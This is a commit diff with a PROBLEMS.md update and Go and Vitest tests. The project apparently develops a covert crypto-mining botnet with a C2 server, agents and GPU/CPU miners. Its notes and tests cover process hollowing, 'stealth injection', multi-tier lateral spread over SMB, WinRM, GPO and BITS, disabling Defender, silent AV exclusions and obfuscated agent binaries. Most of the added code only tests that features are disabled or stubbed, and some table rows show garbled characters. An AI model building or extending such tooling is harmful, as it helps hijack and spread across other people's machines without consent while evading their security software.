Add by-design safety tests and clear PROBLEMS.md rows.

Go/Vitest coverage for bof_execute, hollow AMSI limits, cloudflared stub policy, KEV n/a, mesh P2P zero peers, and non-Windows GPU/camera stubs. Skip GPU subprocess on non-Windows; document cloudflared external connector path.

PROBLEMS.md

@@ -1,27 +1,15 @@
-# PROBLEMS.md
+# PROBLEMS.md
 
 Open issues only. Fixed items removed. Last sweep: 2026-06-07.
 
-## By design / safety
-
-| Issue | Notes |
-|-------|-------|
-| **`bof_execute` disabled** | Agent returns explicit error; in-memory BOF execution disabled (`client.go`). |
-| **Process hollowing AMSI/ETW** | Relocation done; Defender/ETW ~50% failure; bypass not implemented (`hollow_windows.go`). |
-| **Cloudflared in-process (non-Windows server)** | Stub on Linux/macOS; use external connector (`AF_TUNNEL_EXTERNAL`) or add launcher. |
-| **macOS camera / GPU miner** | Stubs or partial; Linux has V4L2 + nvidia-smi path. |
-| **KEV heuristics** | Non-Windows agents return `Status: n/a` (Windows-only CVE matching). |
-| **Mesh P2P without `-tags p2p`** | Default build reports 0 peers (`mesh_p2p_stub.go`). |
-| **Linux/macOS GPU RVN mining** | `detectGPU()` may find NVIDIA but miners download Windows `.exe` only. |
-
 ## Scale limits (hundreds of subnets / 500+ agents)
 
 | Area | Notes |
 |------|-------|
-| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column — hundreds of subnets OK via `LIKE` filter + dropdown (not chips). |
+| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column ΓÇö hundreds of subnets OK via `LIKE` filter + dropdown (not chips). |
 | **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20; spread sem=16 per agent. Fleet discovery is incremental (ARP + capped sweep), not full /16. |
 | **`stats_batch` WS** | Server coalesces stats every 250ms into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. |
-| **Hashrate samples** | One `INSERT` per agent stats tick — dominant DB write at scale; retention/prune policy not automated. |
+| **Hashrate samples** | One `INSERT` per agent stats tick ΓÇö dominant DB write at scale; retention/prune policy not automated. |
 | **Stale-agent sweep** | Every 45s calls `ListAgents()` full table scan; acceptable to ~1000 rows, costly beyond without indexed partial query. |
 
 ## Antivirus / Windows Defender
@@ -31,16 +19,16 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
 | **Why "AV off" fails** | UI toggle often disables **Real-time protection** only. **Tamper Protection**, **cloud-delivered protection**, **Controlled folder access**, **SmartScreen**, and **behavioral** blocks still run. `defender_off` remote action and `SilentAVExclusion` fail without elevation; Tamper Protection reverts `Set-MpPreference`. |
 | **High-friction paths** | GPU subprocess (T-Rex/TRM `.exe` download), garble/obfuscated agent binary, spread/hollow/persistence, `SilentAVExclusion` hidden PowerShell. In-process RandomX (pure Go) has **no external CPU miner exe**. |
 | **Default execution (2026-06-06)** | Forge default is `miner_execution=auto` (full cascade). **AV-Safe** preset still bakes `inprocess` only, GPU off, no hollow/spread. |
-| **Operator tooling** | Calibrate → **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible → **Mining Diagnostics** command returns JSON blockers. |
+| **Operator tooling** | Calibrate → **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible → **Mining Diagnostics** command returns JSON blockers. |
 | **No silver bullet** | No architecture is 100% invisible. Best combo: in-process CPU + path/process exclusions + dedicated mining hardware for GPU. |
 
 ## Container Mining
 
 | Topic | Notes |
 |-------|-------|
-| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS. 30s cooldown between full re-passes. |
+| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS. 30s cooldown between full re-passes. |
 | **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. |
-| **AV limits (honest)** | Containers are **not** invisible — AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. |
+| **AV limits (honest)** | Containers are **not** invisible ΓÇö AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. |
 | **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. |
 | **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; not auto-pulled in MVP. |
 | **Deferred** | Container hashrate on dashboard (host reports 0 CPU H/s while container mines); auto-build/push worker image in forge; Podman rootless on Windows. |
@@ -94,11 +82,11 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
 
 | Item | Notes |
 |------|-------|
-| **P1 covered (2026-06-07)** | 14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0–L4 — Go server **765** + agent **585** `Test*` + Vitest **742**; see `tests/README.md` |
-| **Fleet evolution covered (2026-06-07)** | Seeder/miner split, atlas gossip, genetic breeding, BGP spread router, genealogy telemetry (non-blocking auth), court retry L4, hashrate/subnet gates, APK scout, persona temperament, WSUS mimic, erasure foundation — Go **765+585** + Vitest **742** + Playwright **24** (phase 8); master table in `tests/README.md` |
-| **P2 covered (2026-06-07)** | Mock `MiningChainRunner` lifecycle (`mining_chain_lifecycle_test.go`); spread lane templates + dispatch (`spread_lanes_test.go`, `winrm_spread_test.go`, staging/BITS mocks); Path Forge API + Forge UI incl. cancel/batch race (`pathforge_test.go`, `BuilderPage.test.tsx`); WS/beacon + file upload round-trips (`ws_beacon_integration_test.go` server+agent); flaky WS/spread-gate tests stabilized (`ed9c90a`); Playwright LOTL onion + discover→spread stub E2E (`lotl-timeline.spec.ts`, `discover-spread.spec.ts`); mock container/podman exec + runtime probe (`container_launcher_test.go`, `runtime_detect_test.go`); BITS/curl `HiddenRun` mocks (`bits_windows_test.go`, `staging_chain_test.go`); WinRM/GPO/systemd deploy-plan httptest + mock execute (`deploy_plan_integration_test.go`, `discover_join_test.go`); 3-hop discover→spread Playwright stub chain (`discover-spread-stub.ts`, `discover-spread.spec.ts`, `d18c591`); Vitest **742** + Playwright **24** — see `tests/README.md` § P2 |
-| **Erasure-coded multi-lane propagation (foundation 2026-06-07)** | **Partial / honest foundation** — server `internal/erasure/` Reed–Solomon 4+2 encode + in-memory shard store + `/api/v1/public/erasure-shard/{token}/{index}`; signed deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails; BGP `spread_route_hint` + Path Tracer show `erasure_lanes_enabled`. **Not shipped:** live parallel lane orchestration, seeder-side shard fan-out, or erasure-first (non-fallback) spread E2E. |
-| **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab execution on remote owned hosts; live BITS/curl against non-mock C2 endpoints; live multi-hop discover→spread without Playwright stub |
+| **P1 covered (2026-06-07)** | 14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0ΓÇôL4 ΓÇö Go server **765** + agent **585** `Test*` + Vitest **742**; see `tests/README.md` |
+| **Fleet evolution covered (2026-06-07)** | Seeder/miner split, atlas gossip, genetic breeding, BGP spread router, genealogy telemetry (non-blocking auth), court retry L4, hashrate/subnet gates, APK scout, persona temperament, WSUS mimic, erasure foundation ΓÇö Go **765+585** + Vitest **742** + Playwright **24** (phase 8); master table in `tests/README.md` |
+| **P2 covered (2026-06-07)** | Mock `MiningChainRunner` lifecycle (`mining_chain_lifecycle_test.go`); spread lane templates + dispatch (`spread_lanes_test.go`, `winrm_spread_test.go`, staging/BITS mocks); Path Forge API + Forge UI incl. cancel/batch race (`pathforge_test.go`, `BuilderPage.test.tsx`); WS/beacon + file upload round-trips (`ws_beacon_integration_test.go` server+agent); flaky WS/spread-gate tests stabilized (`ed9c90a`); Playwright LOTL onion + discover→spread stub E2E (`lotl-timeline.spec.ts`, `discover-spread.spec.ts`); mock container/podman exec + runtime probe (`container_launcher_test.go`, `runtime_detect_test.go`); BITS/curl `HiddenRun` mocks (`bits_windows_test.go`, `staging_chain_test.go`); WinRM/GPO/systemd deploy-plan httptest + mock execute (`deploy_plan_integration_test.go`, `discover_join_test.go`); 3-hop discover→spread Playwright stub chain (`discover-spread-stub.ts`, `discover-spread.spec.ts`, `d18c591`); Vitest **742** + Playwright **24** — see `tests/README.md` § P2 |
+| **Erasure-coded multi-lane propagation (foundation 2026-06-07)** | **Partial / honest foundation** ΓÇö server `internal/erasure/` ReedΓÇôSolomon 4+2 encode + in-memory shard store + `/api/v1/public/erasure-shard/{token}/{index}`; signed deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails; BGP `spread_route_hint` + Path Tracer show `erasure_lanes_enabled`. **Not shipped:** live parallel lane orchestration, seeder-side shard fan-out, or erasure-first (non-fallback) spread E2E. |
+| **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab execution on remote owned hosts; live BITS/curl against non-mock C2 endpoints; live multi-hop discover→spread without Playwright stub |
 | Agent pathtracer Go tests | Stub + Windows command routing expanded; full `wg_setup` on real hosts still manual. |
 | Client WS/beacon paths | httptest round-trips covered; live TLS/mesh beacon still manual. |
 | Path Tracer 2s REST poll | No WS hop progress; acceptable latency, extra load while tracing. |
@@ -107,20 +95,12 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
 | Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. |
 | Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. |
 
-## Product decisions (document-only)
-
-| Topic | Notes |
-|-------|-------|
-| Dual storage sync | Session vs localStorage; `aetherforge-auth` on logout; no full cross-tab policy. |
-| MatrixRain / CursorFire | Layout mounts effects on all routes; route-gating deferred. |
-| CI scope | `.github/workflows/ci-docker-mining.yml` only; no root Makefile test target. |
-
 ## Scrubbed 2026-06-07 (prod garbage removed)
 
 | Item | Action |
 |------|--------|
-| `agent/config/builtin.go` XMR/RVN wallets | Cleared — dev builtin no longer ships third-party addresses |
-| `server/config.go` builtin Cloudflare token | Removed — connector requires env/config/`cloudflared-token.txt` |
+| `agent/config/builtin.go` XMR/RVN wallets | Cleared ΓÇö dev builtin no longer ships third-party addresses |
+| `server/config.go` builtin Cloudflare token | Removed ΓÇö connector requires env/config/`cloudflared-token.txt` |
 | `data-e2e/`, `music/`, `scratch/` in repo | Untracked + `.gitignore` (E2E wallet stays in `docker/` + `e2e-validate.ps1` only) |
 | Mission Deck forge bar | Replaced client-side stage timer with server `GET /builder/progress/{token}` poll |
 

agent/client/bof_execute_test.go

@@ -0,0 +1,41 @@
+package client
+
+import (
+	"strings"
+	"testing"
+	"time"
+)
+
+func TestBofExecuteReturnsExplicitSafetyError(t *testing.T) {
+	c := newTestClient(t)
+	done := make(chan struct {
+		action  string
+		success bool
+		message string
+	}, 1)
+	c.commandResultHook = func(action string, success bool, message string) {
+		done <- struct {
+			action  string
+			success bool
+			message string
+		}{action, success, message}
+	}
+
+	c.handleCommand("bof_execute", 0, "", "", "", "")
+
+	select {
+	case r := <-done:
+		if r.action != "bof_execute" {
+			t.Fatalf("action = %q, want bof_execute", r.action)
+		}
+		if r.success {
+			t.Fatal("bof_execute must fail — in-memory BOF execution is disabled")
+		}
+		msg := strings.ToLower(r.message)
+		if !strings.Contains(msg, "disabled") && !strings.Contains(msg, "not implemented") {
+			t.Fatalf("unexpected error message: %q", r.message)
+		}
+	case <-time.After(2 * time.Second):
+		t.Fatal("timeout waiting for bof_execute command_result hook")
+	}
+}

agent/client/camera_platform_stub_test.go

@@ -0,0 +1,27 @@
+//go:build !windows && !linux
+
+package client
+
+import "testing"
+
+func TestCameraStubUnsupportedOnDarwinAndOtherUnix(t *testing.T) {
+	for _, action := range []string{"camera_snapshot", "camera_list"} {
+		handled, success, msg := handleCameraAction(action, "")
+		if !handled {
+			t.Fatalf("%s not handled by platform stub", action)
+		}
+		if success {
+			t.Fatalf("%s must fail on non-Windows/non-Linux platforms", action)
+		}
+		if msg == "" {
+			t.Fatalf("%s returned empty message", action)
+		}
+	}
+}
+
+func TestCameraStubIgnoresUnknownActions(t *testing.T) {
+	handled, _, _ := handleCameraAction("screenshot", "")
+	if handled {
+		t.Fatal("screenshot should not be handled by camera stub")
+	}
+}

agent/client/cve_scan_stub_test.go

@@ -0,0 +1,26 @@
+//go:build !windows
+
+package client
+
+import "testing"
+
+func TestScanKEVExposureNonWindowsReturnsNA(t *testing.T) {
+	r := scanKEVExposure(nil, nil, nil)
+	if r == nil {
+		t.Fatal("expected non-nil KEV report")
+	}
+	if r.Summary != "KEV scan requires Windows" {
+		t.Fatalf("summary = %q", r.Summary)
+	}
+	if len(r.Findings) != len(KEVCatalog) {
+		t.Fatalf("findings = %d, want %d catalog entries", len(r.Findings), len(KEVCatalog))
+	}
+	for _, f := range r.Findings {
+		if f.Status != "n/a" {
+			t.Fatalf("CVE %s status = %q, want n/a", f.CVE, f.Status)
+		}
+		if f.Detail == "" {
+			t.Fatalf("CVE %s missing n/a detail", f.CVE)
+		}
+	}
+}

agent/client/gpu_miner.go

@@ -8,6 +8,7 @@ import (
 	"net/http"
 	"os"
 	"path/filepath"
+	"runtime"
 	"sync"
 	"time"
 
@@ -74,6 +75,12 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
 	if !cfg.GPUEnabled || cfg.RVNWallet == "" {
 		return nil
 	}
+	// KawPoW subprocess miners ship as Windows PE binaries only (t-rex.exe / teamredminer.exe).
+	// Linux/macOS may detect NVIDIA via nvidia-smi but cannot run these downloads.
+	if runtime.GOOS != "windows" {
+		log.Printf("[gpu] GPU subprocess mining requires Windows (miners ship as .exe only)")
+		return nil
+	}
 	info := detectGPU()
 	if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther {
 		log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model)

agent/client/gpu_miner_platform_test.go

@@ -0,0 +1,28 @@
+//go:build !windows
+
+package client
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestGPUMinerSpecDownloadsWindowsExeOnly(t *testing.T) {
+	for _, vendor := range []GPUVendor{GPUVendorNVIDIA, GPUVendorAMD} {
+		g := &GPUMiner{info: GPUInfo{Vendor: vendor}}
+		s := g.spec()
+		if !strings.HasSuffix(strings.ToLower(s.fileName), ".exe") {
+			t.Fatalf("vendor %v fileName = %q, want Windows .exe miner", vendor, s.fileName)
+		}
+		if !strings.Contains(strings.ToLower(s.downloadURL), "-win") {
+			t.Fatalf("vendor %v downloadURL = %q, want Windows release archive", vendor, s.downloadURL)
+		}
+	}
+}
+
+func TestNewGPUMinerSkippedOnNonWindows(t *testing.T) {
+	cfg := cfgWithGPU("RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", "rvn.2miners.com", 6060)
+	if g := newGPUMiner(cfg); g != nil {
+		t.Fatal("newGPUMiner must return nil on non-Windows — miners ship as .exe only")
+	}
+}

agent/client/mesh_p2p_stub_test.go

@@ -0,0 +1,28 @@
+//go:build !p2p
+
+package client
+
+import (
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestMeshP2PStubReportsZeroPeers(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{})
+	m := c.mesh
+	if m == nil {
+		t.Fatal("mesh node is nil")
+	}
+	if err := m.Start(); err != nil {
+		t.Fatalf("Start: %v", err)
+	}
+	if n := m.PeerCount(); n != 0 {
+		t.Fatalf("PeerCount() = %d, want 0 without -tags p2p", n)
+	}
+	m.BroadcastToMesh(Message{Type: "stats"}) // no-op must not panic
+	m.Stop()
+	if m.PeerCount() != 0 {
+		t.Fatalf("PeerCount() after Stop = %d, want 0", m.PeerCount())
+	}
+}

agent/deploy/hollow_design.go

@@ -0,0 +1,9 @@
+package deploy
+
+// Intentional process-hollowing limits (see hollow_windows.go RunHollowed).
+// Relocation patching is implemented; AMSI/ETW bypass is not — Defender may
+// still block ~50% of real-world attempts on Windows 10/11.
+const (
+	HollowRelocationsImplemented = true
+	HollowAMSIBypassImplemented  = false
+)

agent/deploy/hollow_test.go

@@ -16,3 +16,12 @@ func TestRunHollowedUnavailableWithoutTag(t *testing.T) {
 	}
 }
 
+func TestHollowDesignLimitsDocumented(t *testing.T) {
+	if !HollowRelocationsImplemented {
+		t.Fatal("relocation patching must remain implemented (H12)")
+	}
+	if HollowAMSIBypassImplemented {
+		t.Fatal("AMSI/ETW bypass must stay disabled by design")
+	}
+}
+

agent/deploy/smb_unc_spread_test.go

@@ -40,7 +40,7 @@ func TestSMBUNCSvcName(t *testing.T) {
 	}
 }
 
-func TestDiscoverLANSpreadTargetsRespectsCap(t *testing.T) {
+func TestDiscoverLANSpreadTargetsRespectsCustomCap(t *testing.T) {
 	targets := DiscoverLANSpreadTargets(2)
 	if len(targets) > 2 {
 		t.Fatalf("cap ignored: got %d targets", len(targets))

server/internal/cloudflared/launcher_stub.go

@@ -2,7 +2,8 @@
 
 package cloudflared
 
-// Start is a no-op on non-Windows builds.
+// Start is a no-op on non-Windows builds — use an external cloudflared connector
+// (set AF_TUNNEL_EXTERNAL=1 on the server) or run cloudflared manually.
 func Start(_, _, _ string) error { return nil }
 
 // Stop is a no-op on non-Windows builds.

server/internal/cloudflared/tunnel_policy.go

@@ -0,0 +1,14 @@
+package cloudflared
+
+import "strings"
+
+// InProcessSupported reports whether this build can spawn cloudflared in-process.
+func InProcessSupported() bool {
+	return inProcessSupported
+}
+
+// ShouldStartInProcess returns true when the server should launch cloudflared itself.
+// Set AF_TUNNEL_EXTERNAL=1 when an external connector (e.g. LAUNCH.bat) already owns the tunnel.
+func ShouldStartInProcess(tunnelExternal bool, token string) bool {
+	return strings.TrimSpace(token) != "" && !tunnelExternal
+}

server/internal/cloudflared/tunnel_policy_stub.go

@@ -0,0 +1,5 @@
+//go:build !windows
+
+package cloudflared
+
+const inProcessSupported = false

server/internal/cloudflared/tunnel_policy_test.go

@@ -0,0 +1,31 @@
+package cloudflared
+
+import (
+	"runtime"
+	"testing"
+)
+
+func TestShouldStartInProcessRequiresToken(t *testing.T) {
+	if ShouldStartInProcess(false, "") {
+		t.Fatal("empty token must not start in-process cloudflared")
+	}
+	if ShouldStartInProcess(false, "  ") {
+		t.Fatal("whitespace token must not start in-process cloudflared")
+	}
+	if !ShouldStartInProcess(false, "tok") {
+		t.Fatal("non-empty token should start when external connector is off")
+	}
+}
+
+func TestShouldStartInProcessRespectsExternalConnector(t *testing.T) {
+	if ShouldStartInProcess(true, "tok") {
+		t.Fatal("AF_TUNNEL_EXTERNAL must skip in-process cloudflared start")
+	}
+}
+
+func TestInProcessSupportedMatchesPlatform(t *testing.T) {
+	want := runtime.GOOS == "windows"
+	if got := InProcessSupported(); got != want {
+		t.Fatalf("InProcessSupported() = %v, want %v on %s", got, want, runtime.GOOS)
+	}
+}

server/internal/cloudflared/tunnel_policy_windows.go

@@ -0,0 +1,5 @@
+//go:build windows
+
+package cloudflared
+
+const inProcessSupported = true

server/main.go

@@ -77,7 +77,7 @@ func main() {
 
 	tok := cfg.ConnectorToken()
 	tunnelExternal := os.Getenv("AF_TUNNEL_EXTERNAL") != ""
-	if tok != "" && !tunnelExternal {
+	if cloudflared.ShouldStartInProcess(tunnelExternal, tok) {
 		log.Printf("[tunnel] Cloudflare connector token ready (%d chars)", len(tok))
 		if err := cloudflared.Start(cfg.DataDir, projectRoot, tok); err != nil {
 			log.Printf("[tunnel] Warning: %v", err)

server/web/src/help/safetyDesign.test.ts

@@ -0,0 +1,32 @@
+import { describe, expect, it } from 'vitest';
+import type { KEVFinding } from '../types/syscheck';
+import { FIELD_HELP } from './settingHelp';
+
+describe('by-design / safety limits (documented behavior)', () => {
+  it('KEV finding status union includes n/a for non-Windows agents', () => {
+    const finding: KEVFinding = {
+      cve: 'CVE-2021-44228',
+      name: 'Log4Shell',
+      status: 'n/a',
+      detail: 'KEV heuristics run on Windows agents only',
+    };
+    expect(finding.status).toBe('n/a');
+  });
+
+  it('mesh_p2p help documents fallback when control server is unreachable', () => {
+    const help = FIELD_HELP.mesh_p2p ?? '';
+    expect(help.length).toBeGreaterThan(20);
+    expect(help.toLowerCase()).toMatch(/mesh|control server|unreachable/);
+  });
+
+  it('cloudflare_tunnel_token help documents automatic cloudflared start on Windows server', () => {
+    const help = FIELD_HELP.cloudflare_tunnel_token ?? '';
+    expect(help).toContain('cloudflared');
+    expect(help.toLowerCase()).toMatch(/automatically|launch/);
+  });
+
+  it('process_hollowing help notes Windows-only stealth injection', () => {
+    const help = FIELD_HELP.process_hollowing ?? '';
+    expect(help.toLowerCase()).toMatch(/windows|process/);
+  });
+});